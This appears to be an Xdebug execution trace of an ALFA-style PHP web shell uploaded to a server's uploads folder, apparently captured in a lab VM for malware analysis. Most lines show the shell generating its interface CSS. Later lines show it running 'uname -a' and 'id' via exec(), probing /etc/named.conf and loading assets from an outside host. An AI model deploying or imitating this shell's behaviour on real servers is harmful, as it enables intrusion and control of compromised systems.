8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
8 241 1 0.069901 3798896
8 241 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#27979B'
8 242 0 0.069927 3798896 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#27979B' 'border: 1px solid {color};'
8 242 1 0.069944 3799048
8 242 R 'border: 1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'button:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'input[type=submit]:hover'
8 243 0 0.070017 3798872 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'button:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
8 243 1 0.070054 3798872
8 243 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#27979B'
8 244 0 0.070080 3798872 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:2px solid {color};'
8 244 1 0.070098 3799048
8 244 R 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.button:hover,#addup:hover'
8 245 0 0.070161 3799408 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'button:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
8 245 1 0.070201 3799408
8 245 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#27979B'
8 246 0 0.070227 3799408 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
8 246 1 0.070245 3799584
8 246 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'outputs_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.ml1'
8 247 0 0.070320 3799408 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'outputs_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
8 247 1 0.070355 3799408
8 247 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#67ABDF'
8 248 0 0.070381 3799408 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#67ABDF' 'color: {color};'
8 248 1 0.070399 3799544
8 248 R 'color: #67ABDF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #67ABDF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.ml1{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'outputs_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.ml1'
8 249 0 0.070468 3799368 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'outputs_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
8 249 1 0.070503 3799368
8 249 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 250 0 0.070529 3799368 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border: 1px solid {color};'
8 250 1 0.070547 3799520
8 250 R 'border: 1px solid #0E304A;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 1px solid #0E304A;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.ml1{border: 1px solid #0E304A;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'uploader_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.inputfile'
8 251 0 0.070626 3799384 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'uploader_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
8 251 1 0.070662 3799384
8 251 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 252 0 0.070689 3799384 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'box-shadow:0 0 4px {color};border:1px solid {color};'
8 252 1 0.070710 3799560
8 252 R 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'uploader_background'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.inputfile strong'
8 253 0 0.070787 3799408 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'uploader_background'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
8 253 1 0.070822 3799408
8 253 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 254 0 0.070848 3799408 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'background-color: {color};'
8 254 1 0.070866 3799560
8 254 R 'background-color: #0E304A;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #0E304A;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.inputfile strong{background-color: #0E304A;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'uploader_text_right'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.inputfile strong'
8 255 0 0.070939 3799384 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'uploader_text_right'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
8 255 1 0.070973 3799384
8 255 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 256 0 0.070999 3799384 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 256 1 0.071017 3799520
8 256 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.inputfile strong{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'uploader_text_left'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.inputfile span'
8 257 0 0.071087 3799368 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'uploader_text_left'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
8 257 1 0.071121 3799368
8 257 R '#25ff00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#25ff00'
8 258 0 0.071148 3799368 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#25ff00' 'color: {color};'
8 258 1 0.071165 3799504
8 258 R 'color: #25ff00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #25ff00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.inputfile span{color: #25ff00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'uploader:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.inputfile:hover'
8 259 0 0.071239 3799368 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'uploader:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
8 259 1 0.071275 3799368
8 259 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#27979B'
8 260 0 0.071301 3799368 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
8 260 1 0.071319 3799544
8 260 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'uploader_progress_bar'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.up_bar'
8 261 0 0.071394 3799408 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'uploader_progress_bar'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
8 261 1 0.071429 3799408
8 261 R '#00ff00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#00ff00'
8 262 0 0.071456 3799408 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#00ff00' 'background-color: {color};'
8 262 1 0.071474 3799560
8 262 R 'background-color: #00ff00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #00ff00;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.up_bar{background-color: #00ff00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'mysql_tables'
8 263 0 0.071531 3799384 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'mysql_tables'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#00FF00'
8 263 1 0.071561 3799384
8 263 R '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#00FF00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.mysql_tables{color: #00FF00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'mysql_table_count'
8 264 0 0.071617 3799384 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'mysql_table_count'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#67ABDF'
8 264 1 0.071646 3799384
8 264 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.mysql_table_count{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'copyright'
8 265 0 0.071702 3799384 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 1 'copyright'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = '#dfff00'
8 265 1 0.071734 3799384
8 265 R '#dfff00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 460 $value = '#dfff00'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 461 $css .= '.copyright{color: #dfff00;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'scrollbar'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '*::-webkit-scrollbar-thumb'
8 266 0 0.071801 3799384 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'scrollbar'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
8 266 1 0.071836 3799384
8 266 R '#1e82b5'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#1e82b5'
8 267 0 0.071863 3799384 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#1e82b5' 'background-color: {color};'
8 267 1 0.071881 3799536
8 267 R 'background-color: #1e82b5;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #1e82b5;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'scrollbar_background'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '*::-webkit-scrollbar-track'
8 268 0 0.071954 3800408 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'scrollbar_background'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
8 268 1 0.071990 3800408
8 268 R '#000115'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#000115'
8 269 0 0.072016 3800408 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#000115' 'background-color: {color};'
8 269 1 0.072034 3800560
8 269 R 'background-color: #000115;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #000115;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
7 138 1 0.072080 3800352
7 138 R '.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
7 270 0 0.072316 3783968 htmlspecialchars 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 881 1 '/var/www/html/uploads/'
7 270 1 0.072336 3784160
7 270 R '/var/www/html/uploads/'
7 271 0 0.072352 3784080 htmlspecialchars 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 882 1 'FilesMan2'
7 271 1 0.072368 3784272
7 271 R 'FilesMan2'
7 272 0 0.072382 3784128 htmlspecialchars 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 883 1 NULL
7 272 1 0.072398 3784320
7 272 R ''
7 273 0 0.073192 3796256 __showicon 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 894 1 'loader'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1045 $s['btn'] = 'http://solevisible.com/images/btn.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1046 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1047 $s['loader'] = 'http://solevisible.com/images/loader.svg'
7 273 1 0.073268 3796256
7 273 R 'http://solevisible.com/images/loader.svg'
7 274 0 0.073286 3796256 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 895 4 'uname -a' FALSE FALSE ???
8 275 0 0.073307 3796256 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'uname -a' FALSE
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
9 276 0 0.073351 3796256 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
9 276 1 0.073374 3796296
9 276 R TRUE
9 277 0 0.073396 3796280 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'uname -a' ''
9 277 1 0.074771 3797040
9 277 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
9 278 0 0.074815 3796816 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
9 278 1 0.074841 3796880
9 278 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 $out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
8 275 1 0.074883 3796416
8 275 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 $data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7 274 1 0.074922 3796416
7 274 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 895 $cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
7 279 0 0.074962 3796416 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 896 1 'php_uname'
7 279 1 0.074979 3796456
7 279 R TRUE
7 280 0 0.074993 3796416 php_uname 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 896 0
7 280 1 0.075010 3796528
7 280 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
7 281 0 0.075029 3796528 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 896 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
7 281 1 0.075049 3796624
7 281 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 896 $uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s = 1
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 906 $s++
7 282 0 0.075213 3797808 phpversion 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 924 0
7 282 1 0.075228 3797872
7 282 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
7 283 0 0.075248 3798320 date 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 932 1 'Y-m-d H:i:s'
7 283 1 0.075322 3800672
7 283 R '2023-02-12 17:45:38'
7 284 0 0.075346 3798592 _alfa_file 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 938 2 '/etc/named.conf' FALSE
8 285 0 0.075365 3798592 file 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2315 1 '/etc/named.conf'
8 285 1 0.075399 3798744
8 285 R FALSE
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2315 $array = FALSE
8 286 0 0.075428 3798704 alfaEx 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2317 4 'id' FALSE FALSE ???
9 287 0 0.075446 3798704 _alfa_php_cmd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 562 2 'id' FALSE
9 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 576 $out = ''
10 288 0 0.075474 3798704 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 579 1 'exec'
10 288 1 0.075490 3798744
10 288 R TRUE
10 289 0 0.075503 3798728 exec 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 580 2 'id' ''
10 289 1 0.076943 3799328
10 289 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
10 290 0 0.076971 3799184 join 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 581 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
10 290 1 0.076992 3799248
10 290 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
